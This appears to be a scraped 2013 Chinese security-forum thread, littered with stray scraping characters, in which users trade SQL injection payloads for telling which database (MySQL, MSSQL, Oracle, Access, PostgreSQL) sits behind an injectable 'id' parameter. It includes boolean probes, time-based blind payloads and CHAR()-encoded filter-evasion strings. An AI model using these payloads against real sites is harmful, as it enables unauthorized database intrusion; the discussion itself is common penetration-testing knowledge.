一个注射点如何最快速确认是什么类型数据库1 x3 L4 o! l9 `! w
xsser (十根阳具有长短!!) | 2013-02-05 12:36
/ S- l) N: T. G4 r2 B假设这么一个注射点:
+ C6 Q, S7 \- \1 g2 e! kshow.html?id=28 S* |; @1 w+ {- i! `2 ]
mysql:id=2 and version()>0
, K7 M1 a ?( ~; I0 k2 Yoracle:id=2 and '1'||'1'='11
) @3 U+ ~9 o' k; W其他的欢迎补充
$ ]$ M0 V0 E" _2 M8 w& I5 e1#+ e8 ?% \; A# L. f0 f* W4 }
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:470 ?) _% J$ w6 S$ v! _- a
Access:
) x/ f* z. {$ p; eaNd aSc(cHr(97))=975 O7 ~0 W t' a( D, V* m
and exists(select id from MSysAccessObjects)* ~) a y9 |) ]- R# p
SQL Server:3 ?0 M6 [! f) T. n; } F$ D
and exists(select id from sysobjects)
4 Q4 r; m0 |0 C( u# Fand length(user)>0) s6 O4 i* ^2 w. }
MySQL:
( o% S, L- W2 F* A+ fand length(user())>0! c. K7 ~2 V. [( C+ E
2#
3 S3 X( X, m: T2 H7 |) x8 Vxsser (十根阳具有长短!!) | 2013-02-05 12:48
P8 z# w0 R3 E; M@upload 如果这些都不是呢…0 d. ~, c3 o. |1 M, J8 |. U" r5 d
3#9 }$ \, E# N% y8 g) b s
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
' H: o: ~: K$ F. n8 B0 |@xsser 不快速的,延时注入
9 P1 e" \8 ? e! D. k& v1 ]6 |2 J不知道这样写对不对
2 ^: P# c& D9 J3 _2 w5 Qmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
! D; y; X3 a: d: a1 j$ Kmysql:id=2 and select benchmark(1e8,current_date());
. e ~& U2 @. x% v* N4#" q2 V" e$ N6 W0 o
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
& r9 ~& z* [3 {) S. z最快的貌似是看报错信息
! c3 H; C4 j; T& v* Voracle error- {2 S: B7 I9 \( r
mssql error( |; u9 R& F( M- V/ e
mysql error
* Q* J; ?/ a- x. x, X5#" N; F/ y+ P6 c' P% O4 q
Nimda (你们都是坏银~) | 2013-02-05 13:14$ h" X8 p1 z" j, F- L8 X+ C
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual), W. o! g4 P3 W# R: B) x
6#" K- |% }5 @- t7 ^
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
2 P5 ?/ [* P8 U! k" h1 m! Z“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:4 `: r8 {+ H1 C8 K& M! H5 C
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
6 p2 |2 w: W; z“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。- X! I$ q- I9 ^9 ^- R9 o
7#1 c! h# J' i5 k/ W1 F
_Evil (HackEnd) | 2013-02-05 13:33
& v$ t h6 V0 L9 {: vPostgreSQL# x4 z/ a1 t. t! w( M
8#: q: h' Y# }7 d# n
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
# a1 W( J, M5 A5 |" C" t [切换编码 and 1=1* w" \( }" d2 e- n5 D. {& ?
oracle:8 r# i$ E8 I6 a# k
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)5 P1 J+ B/ A s/ m6 H
mssql:
9 p2 Q6 I M( J/ K* TCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49), _, n+ [ t. c3 E
mysql:
/ f1 Z3 O- a- x7 A& m9 ]CHAR(97, 110, 100, 32, 49, 61, 49): R- f" P( S. k6 l3 b
9# c) P+ ?" v* @) r9 b0 S
xsser (十根阳具有长短!!) | 2013-02-05 14:31
x1 j3 Y" G* h7 p' j) q@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
, e/ n8 G' Y5 S! g, _/ l; p10#9 n! L' ]. R7 w9 |1 q) {9 i
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46# K) v V2 x1 m8 d+ X4 c% q& \4 y
@xsser 是奇葩数据库类型的么?
9 ?9 \/ }9 _5 n: ~. G5 k根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
& k' t( h% k0 N' w N: |( s6 R1.是否可以使用特定的函数来判断,该数据库特有的! \: ?% ?! h* Z6 o! b( o. Q% x4 [ @
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等9 S# o( {0 i# N$ z) C
3.是否可以编码查询
- p( V, @# ]+ S6 \- d4.是否显可以利用错信息
. Y4 X6 E& p. Q+ q7 u5.是否存在数据库某些特性辅助判断( O9 b2 X1 P3 L1 D. F
个人见解
. I. y& p0 M9 l' f0 V11#5 l- H- h# W: b& r' [4 k
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:557 M \' K6 g ]/ P
已收藏,mssql可以直接看到错误提示的吧~. m- C# A6 ^2 m# z! v* ?' ?; I- i+ H
12#
! O& A$ [$ f1 Q1 W) T" E6 |+ a& `Passer_by | 2013-02-05 15:09 f: g5 t. R5 G6 |
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。/ Q* \+ [5 S# @0 a. C
from:http://zone.wooyun.org/content/260 |